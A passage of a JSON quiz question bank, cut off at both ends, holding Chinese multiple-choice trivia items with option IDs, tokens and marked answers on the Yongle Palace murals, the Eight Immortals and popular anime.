04:41:03","status":"1"},{"questionId":"1901441735","questionIndex":"5","questionStem":"《朝元图》中男性帝王神仙戴的冠冕被称作?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPAIwBVS7yGswoMjw\",\"optionDesc\":\"展脚幞头\"},{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVPUNCJPxcDyTj4er5\",\"optionDesc\":\"皇冠\"}]","questionToken":"Ks0Sx0BXjjmsJ-UxY-MOaqzMueR3sibIJhlw_fOxHm5r6Ky19L4pjBqKIUbX1bcENVK-uAIRNvyHxEDVjlAQcx2O8pEJ6w","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJ-VncKsVP5Ej9Zw8ISaxF2aL\",\"optionDesc\":\"冕旒\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"1901441736","questionIndex":"5","questionStem":"以下哪种服饰或冠帽不属于宋元时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPPDNuHzCv4iGXCs3ww\",\"optionDesc\":\"直裰\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"},{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVPZeJM8F91EWKpI4kiQ\",\"optionDesc\":\"东坡巾\"}]","questionToken":"Ks0Sx0BXjjmsJOUxY-MOap8aS4uve0NZWas_0BhOfTwNtsFcdai10JIB2nn0A6dqScvjHxFk8HyX2MLP_D_kD80BP5ItBw","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJOVncKsVP1hy6ATEcevuCH7amg\",\"optionDesc\":\"飞鱼服\"}","create_time":"27/1/2021 04:50:48","update_time":"27/1/2021 04:50:48","status":"1"},{"questionId":"1901441737","questionIndex":"5","questionStem":"以下哪种花卉水果不在《朝元图》中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPdFV3DHlpeuztVjjnA\",\"optionDesc\":\"莲花\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPL9CC5ifUe64FMk7ew\",\"optionDesc\":\"蟠桃\"},{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}]","questionToken":"Ks0Sx0BXjjmsJeUxY-MOaqp3djZR5ywN0fD0ZXHiFg94s9GxXaVAyf44VKWhGlqIqb9pBQBYmAveotz3GUZs17wtMGBYOA","correct":"{\"optionId\":\"Ks0Sx0BXjjmsJeVncKsVPzMRgEfPkGfpNm7Vpw\",\"optionDesc\":\"圣女果\"}","create_time":"27/1/2021 04:51:55","update_time":"27/1/2021 04:51:55","status":"1"},{"questionId":"1901441738","questionIndex":"2","questionStem":"吕洞宾故事的壁画位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPN8Scs0Uf_7Hu0oxfw\",\"optionDesc\":\"重阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPSBC2t6UvbTCiVoQNw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjmsKuU2Y-MObSSwN_TqxreMMI-NrPXVKttXkiSGkZH2Em0pBa_aPqXQU9MVmtsYDCblOUtOpkiWCc7GurUK-g","correct":"{\"optionId\":\"Ks0Sx0BXjjmsKuVncKsVPxeNmQM1wiF0pa-d_Q\",\"optionDesc\":\"纯阳殿\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"1901441739","questionIndex":"2","questionStem":"吕洞宾最擅长的武器/法器是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPOgd8stKxZZ-tGARoA\",\"optionDesc\":\"葫芦\"},{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVPV8wGcC6O7oIRttLIg\",\"optionDesc\":\"莲花\"}]","questionToken":"Ks0Sx0BXjjmsK-U2Y-MOasOoxsmtQ5T1qOvikwGuGmBQrkhmfWibzoM3P-Y4M_UseW_o2c8G31Qetq-0K--DKOf0jXroAg","correct":"{\"optionId\":\"Ks0Sx0BXjjmsK-VncKsVP62Y7bD5WGeftrbrTg\",\"optionDesc\":\"宝剑\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"1901441740","questionIndex":"3","questionStem":"吕洞宾的道号是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPE91ye3XeSGfA_Y\",\"optionDesc\":\"重阳子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPZFVeuTn9xUgToM\",\"optionDesc\":\"抱朴子\"},{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}]","questionToken":"Ks0Sx0BXjjmrIuU3Y-MObTAlrUqJOOPry7L0O7dQKy3HBi086a5QNR_yPZPL-lpCjSqU2VspXrwQEsDKmZ3RmVYHiIkalQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIuVncKsVPw5LyZiIxQOqD9A\",\"optionDesc\":\"纯阳子\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441741","questionIndex":"2","questionStem":"吕洞宾修行及教义被哪个道教门派所继承?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPL4tQ7QJqjjaDeE\",\"optionDesc\":\"正一派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVPQzVvgSay8EFD80\",\"optionDesc\":\"武当派\"},{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}]","questionToken":"Ks0Sx0BXjjmrI-U2Y-MOba1tNuw_XyACRSEJ0d-Tf4wTAvAHRtdUlkwvksfhU4rMOjJkNIcNtRoqlzLgj1Zz4tKRZj05OQ","correct":"{\"optionId\":\"Ks0Sx0BXjjmrI-VncKsVP1XXKcf_2T803D0\",\"optionDesc\":\"全真派\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"1901441742","questionIndex":"1","questionStem":"歇后语“狗咬吕洞宾”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPYCOvtLZUSvdAsRMOg\",\"optionDesc\":\"有去无回\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"},{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVPEkTyMzFE4ANghPhiQ\",\"optionDesc\":\"多管闲事\"}]","questionToken":"Ks0Sx0BXjjmrIOU1Y-MOamhSjXhCw_512CDiUOpxytFEEsm4Kupm_PR2PPxJSzSMdasVVzZ2ouccaJPWp37VbtexHNjS4g","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIOVncKsVP7VkMLBpnOo8ctkhrw\",\"optionDesc\":\"不识好人心\"}","create_time":"27/1/2021 04:48:56","update_time":"27/1/2021 04:48:56","status":"1"},{"questionId":"1901441743","questionIndex":"5","questionStem":"八仙中不包括以下哪位?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPd2iZ0eMl71t2Oit_Q\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"},{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVPAS4oMSGdHoiZkKeQw\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrIeUxY-MObYgu28Mm59i7U04AZpzEITMVv-V62uTojmAN98kcDOtqnNcqMLogLlwdRudUGLZmCm6VqjwI4Q","correct":"{\"optionId\":\"Ks0Sx0BXjjmrIeVncKsVP3XTvKbyCBMrxSrNMw\",\"optionDesc\":\"张真人\"}","create_time":"27/1/2021 04:49:35","update_time":"27/1/2021 04:49:35","status":"1"},{"questionId":"1901441744","questionIndex":"4","questionStem":"歇后语“八仙过海”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPKz8UaBFfb7UJkLSLw\",\"optionDesc\":\"自身难保\"},{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVPR3Wtg9BasLOAhxYeQ\",\"optionDesc\":\"走为上计\"}]","questionToken":"Ks0Sx0BXjjmrJuUwY-MObaj--XRFvu-cOOO8mWQhbvvE1kVRQ8u0FhJbwudFl7z9q2QbnYoE39JR0N-ByeO9vsr9a4sQUg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJuVncKsVP2vStrZrm_e9echR8A\",\"optionDesc\":\"各显神通\"}","create_time":"27/1/2021 03:37:12","update_time":"27/1/2021 03:37:12","status":"1"},{"questionId":"1901441745","questionIndex":"1","questionStem":"八仙中唯一的一位女神仙是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPD7x50G0swmfJTAE\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPS3wh6Jx5CwL36y_\",\"optionDesc\":\"韩湘子\"},{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}]","questionToken":"Ks0Sx0BXjjmrJ-U1Y-MOaneI5DnIjZ-m4Tus6bWzzmNNKL9vsOBZ4-qIzeoo9JpcitcnzONxmyYm_JS6FnIQIDmHd8nJ9w","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJ-VncKsVPztMg9K__h2LTgES\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"1901441746","questionIndex":"3","questionStem":"永乐宫最早是为了纪念哪位道教名人所建的?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPd_UVe74_Ce2PldO\",\"optionDesc\":\"丘处机\"},{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVPC8UbsZrGeb1s-Xh\",\"optionDesc\":\"王重阳\"}]","questionToken":"Ks0Sx0BXjjmrJOU3Y-MOanrx6-LHocxCMROqpRGS_BhqP6fI5Soa7SsWBWGDqa-VMKKaVicyG0QvM73zRTFGwwIJH5qNOw","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJOVncKsVP49r0GVkDTnt8gFp\",\"optionDesc\":\"吕洞宾\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"1901441747","questionIndex":"2","questionStem":"永乐宫的《八仙过海》壁画中缺少哪位八仙?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPFkKjis_GhR8jOPc\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVPdJUV5Wml0QQNXOS\",\"optionDesc\":\"曹国舅\"}]","questionToken":"Ks0Sx0BXjjmrJeU2Y-MOagcMuni4ngqiZCM7GMhsnjb7v-KTO_EPX7FhCzUkHgOwc1gw2aeuSszx_hRdL3rvnrP5-w321A","correct":"{\"optionId\":\"Ks0Sx0BXjjmrJeVncKsVP9BxAcVRrGdfD4UX\",\"optionDesc\":\"何仙姑\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"1901441748","questionIndex":"2","questionStem":"歇后语“张果老骑驴看本”的下半句是?","options":"[{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPWJaZR7KTflNgZMogg\",\"optionDesc\":\"神魂颠倒\"},{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVPFJrQJ05GiAGSkEgHg\",\"optionDesc\":\"不识好人心\"}]","questionToken":"Ks0Sx0BXjjmrKuU2Y-MOampR_4H4XZ5XMHrAobGUJ1UaE2biqrbxMWHJstBr9CNJUWiMVCVDjZ37k_Q-eW7WFFcXJVOVlg","correct":"{\"optionId\":\"Ks0Sx0BXjjmrKuVncKsVP0swZR-GwDpIlDQKuA\",\"optionDesc\":\"走着瞧\"}","create_time":"27/1/2021 04:41:25","update_time":"27/1/2021 04:41:25","status":"1"},{"questionId":"1901442070","questionIndex":"3","questionStem":"犬夜叉的妖刀叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JiFhJkhUJCSEUmU\",\"optionDesc\":\"银碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3J7MnFTHf7HIAV9s\",\"optionDesc\":\"金碎牙\"},{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}]","questionToken":"Ks0Sx0BXjT6hZtUCoWOsdhf0aczpfOV2V7AST8tQl6YOmkG5lrbQq-B1zpHHJ4j0WjP-fJzpUX8prWxT4y89uZ9-IQgccw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZtVSsiu3JFJsib3Z6YqzZDg\",\"optionDesc\":\"铁碎牙\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901442071","questionIndex":"5","questionStem":"“真相只有一个”在哪部动漫最经典?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3Jr-V2Bo2efD9T1h3\",\"optionDesc\":\"左目侦探EYE\"},{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3J5KHMoJb-OSNJ0WJ\",\"optionDesc\":\"侦探学院\"}]","questionToken":"Ks0Sx0BXjT6hZ9UEoWOsdoy6kf9CgC3WH0emfzZhbHrA2FH1Lua3Tc4C9uGkGxw7_XbcaB1K6AWs_qaWRQH_TP1OZZN_rA","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZ9VSsiu3JAcfo4Uk6GhKZbpB\",\"optionDesc\":\"名侦探柯南\"}","create_time":"27/1/2021 04:48:44","update_time":"27/1/2021 04:48:44","status":"1"},{"questionId":"1901442072","questionIndex":"1","questionStem":"“代表月亮消灭你”出自哪部动漫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jz4PTA1iubLtqAw\",\"optionDesc\":\"会长是女仆\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3Jl085h60BKz7Uxw\",\"optionDesc\":\"天堂之吻\"}]","questionToken":"Ks0Sx0BXjT6hZNUAoWOsdoN3Dwq-He9ix5Fq27d1L_Kml3eKt9vce5S_hgtALsR-acyOJ4S_f3MH6tUp4k6UBBQ63iab3w","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZNVSsiu3JJUOKtBdIyOHdbY\",\"optionDesc\":\"美少女战士\"}","create_time":"27/1/2021 04:44:51","update_time":"27/1/2021 04:44:51","status":"1"},{"questionId":"1901442073","questionIndex":"2","questionStem":"《死神》的主角叫什么名字?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3Jy5dydRpsAqiXME\",\"optionDesc\":\"黑崎一心\"},{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JjZAYo95eWcQycI\",\"optionDesc\":\"东石郎\"}]","questionToken":"Ks0Sx0BXjT6hZdUDoWOsdrxjLxsI21YYDf4-ldAx7Vl9QL7G9WPY7r-CIP6wS630A9-tMCuPdZV3xTfBJ485Xg6ix6hLng","correct":"{\"optionId\":\"Ks0Sx0BXjT6hZdVSsiu3JPrlNVYh0ow5xsk\",\"optionDesc\":\"黑崎一护\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901442074","questionIndex":"4","questionStem":"火影忍者的男一号是谁?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JnRFSS-uMzlb-JXR\",\"optionDesc\":\"自来也\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3J0O7Yr5nztx_rRPj\",\"optionDesc\":\"卡卡西\"},{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}]","questionToken":"Ks0Sx0BXjT6hYtUFoWOsdpz5hb7Y4a9vW5xAI0NtG0ji7CJTGTJGx2QouxjXax5_pqWhM85an7ka3SQ698NCBVJimc62pQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYtVSsiu3JA7UzLzmPHSGWjWG\",\"optionDesc\":\"鸣人\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"1901442075","questionIndex":"5","questionStem":"航海王(海贼王)的男一号是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3J5Dhp2QlLH1byqvatQ\",\"optionDesc\":\"甚平\"},{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JkTGiyD0wsziKmrXnA\",\"optionDesc\":\"琦玉\"}]","questionToken":"Ks0Sx0BXjT6hY9UEoWOscZIk9gyEQlSQAIBpTmjeBEivgI8biqj4q4ub-LUiGYvtWpKATxzoUpAocBPkQ9QCkUcJCFLiHw","correct":"{\"optionId\":\"Ks0Sx0BXjT6hY9VSsiu3JGD6HY_wbOuSJSHL_g\",\"optionDesc\":\"路飞\"}","create_time":"27/1/2021 04:34:40","update_time":"27/1/2021 04:34:40","status":"1"},{"questionId":"1901442076","questionIndex":"2","questionStem":"宠物小精灵里,小智的第一只精灵是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3J_cKbh7OFQc6-Xk4\",\"optionDesc\":\"妙蛙种子\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"},{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3Jkp885fga4TDq-qo\",\"optionDesc\":\"小火龙\"}]","questionToken":"Ks0Sx0BXjT6hYNUDoWOscfqPacmXqijlqxhgyNH37FPOGVZAR0MLo2lRYLrgRqbdDzkB7C_XmOP33VC8ARYKVuGsiOLM2g","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYNVSsiu3JNMpoJi5-QPdXdt5\",\"optionDesc\":\"皮卡丘\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442077","questionIndex":"1","questionStem":"灌篮高手中,谁是湘北女生眼中的王子?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JqNskQWKiChuYFmh\",\"optionDesc\":\"赤司\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"},{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JwUmIft0inKuk9_o\",\"optionDesc\":\"仙道\"}]","questionToken":"Ks0Sx0BXjT6hYdUAoWOscckPw3u6QkOIOi-Q-INLQVRfKaohhafYrZkTtxhi1n4a-nHQmNTw1RKD9w7CwsDSOVHiywz2xQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6hYdVSsiu3JKrW3GY3V9AamMYM\",\"optionDesc\":\"流川枫\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"1901442078","questionIndex":"5","questionStem":"蜡笔小新的妹妹叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3J-jFwuH2ghRcyebtSg\",\"optionDesc\":\"妮妮\"},{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JhW61RKJ3at-VxSLQw\",\"optionDesc\":\"美伢\"}]","questionToken":"Ks0Sx0BXjT6hbtUEoWOsdrXaFm-oGDwEQFhbnH88bf07UXAXNpkSFavTxJh9sZIK_SjpQxMrVZhnGV2f0TlZGxBNd6nMlg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hbtVSsiu3JInHEvt4uLgbUWIWpw\",\"optionDesc\":\"小葵\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"1901442079","questionIndex":"4","questionStem":"樱桃小丸子中,丸尾怎么称呼她妈?","options":"[{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3Jgh0gmSJEYrhMMhbLw\",\"optionDesc\":\"老妈\"},{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3J5LhCglEUHXzciCHMg\",\"optionDesc\":\"妈\"}]","questionToken":"Ks0Sx0BXjT6hb9UFoWOsdvvk6o899xKFbhjiGVoYXEU7KQ9wCtpOmFI5_DiDy03NAYqqZF5vyBG7Z97u-NZTBmOSyjtyMg","correct":"{\"optionId\":\"Ks0Sx0BXjT6hb9VSsiu3JLR4mpIMeHKQpbWdmA\",\"optionDesc\":\"母亲大人\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"1901442081","questionIndex":"3","questionStem":"七龙珠里,悟空的第二个孩子叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3J_d5AWH2f4yI37M\",\"optionDesc\":\"悟饭\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JpKFcTGPHxrtr3U\",\"optionDesc\":\"小芳\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}]","questionToken":"Ks0Sx0BXjT6uZ9UCoWOscSapuQi1n5mrdM5G1p6x7C8bDY8bZOZRWp3ZFyGF2FVAFDTQHW8r9sbe8F4cSyKVBIU0o96F6A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"1901442082","questionIndex":"2","questionStem":"妖精的尾巴中纳兹所在世界外另一个世界叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JhN3RRz5HW7X9l-UMQ\",\"optionDesc\":\"阿斯兰特\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3J28jiwnqNlidIE9zHg\",\"optionDesc\":\"艾斯兰登\"}]","questionToken":"Ks0Sx0BXjT6uZNUDoWOscb0ChxTG7C4Ynx_iutOjSlQUZ-vywuunDQscUd2YR8wL5D755y6KIBwDrQj5SPo7WfIgrW9v3A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"1901442083","questionIndex":"5","questionStem":"《刀剑神域》中桐人在SAO里的独特技能是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JhL6hSEdS6fgX06N\",\"optionDesc\":\"狂暴补师\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3J42l-di1uImyM3ZL\",\"optionDesc\":\"圣骑士\"}]","questionToken":"Ks0Sx0BXjT6uZdUEoWOscTfF-VhwJQNsIPmWCLTLr8BHlejiZ9fndq9WvyHX1mRfRL9tCFo5TQ7lEx56g0O5hHMj3T8gYA","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442084","questionIndex":"1","questionStem":"火影忍者中第一个开启永恒万花筒写轮眼的是","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3J7BicfzFvnk1JnM3ow\",\"optionDesc\":\"宇智波带土\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JssrYZ2vE1xlCoSKSQ\",\"optionDesc\":\"宇智波鼬\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}]","questionToken":"Ks0Sx0BXjT6uYtUAoWOsdh6YKVGeSRiSxhju0m3ENZkxQvcRrqlJTfiQuVKQlPJ7oII6BSd7HTTGXi9qrZd4tuA6C4kUPg","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}","create_time":"27/1/2021 04:33:17","update_time":"27/1/2021 04:33:17","status":"1"},{"questionId":"1901442085","questionIndex":"1","questionStem":"《反叛的鲁路修》中谁有令时间定格的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3J5ZaEWrdAV64NTNB\",\"optionDesc\":\"V.V\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JoLeZZgyUC3X1P8Z\",\"optionDesc\":\"鲁路修\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}]","questionToken":"Ks0Sx0BXjT6uY9UAoWOscfcYabUR1n5HUI6UfTpVtCpJv9DyZ9LmMjgVIdcjjn9lZNHkFPLSsaGK6JvCsHaE0863A8UW_Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"1901442086","questionIndex":"1","questionStem":"妖精的尾巴众主角在天狼岛被打败后失踪几年","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3J8uEoDzvIvIj-Q\",\"optionDesc\":\"8年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3Jovngm_evQN41A\",\"optionDesc\":\"9年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}]","questionToken":"Ks0Sx0BXjT6uYNUAoWOsdul0IFdsm90_5Jl5Fc7ud2WOJS6xr46KBhRkaxQTLXdWCSk8vG15hH9hWrn4oq2B-aJf4bD9og","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"1901442087","questionIndex":"3","questionStem":"以下哪项不是路飞的招式?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JpZMxEyIXL-vEuA\",\"optionDesc\":\"橡胶手枪\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3J3NO5B4hi0pEGtg\",\"optionDesc\":\"橡皮火箭炮\"}]","questionToken":"Ks0Sx0BXjT6uYdUCoWOscSICpV1Pd2Rc7J18K6LjDGBN6cYsNQc2a6e8E_ZK7IUMT950CxcNz0jzFVKPF0GWDinGrHaZOQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"}","create_time":"27/1/2021 04:51:21","update_time":"27/1/2021 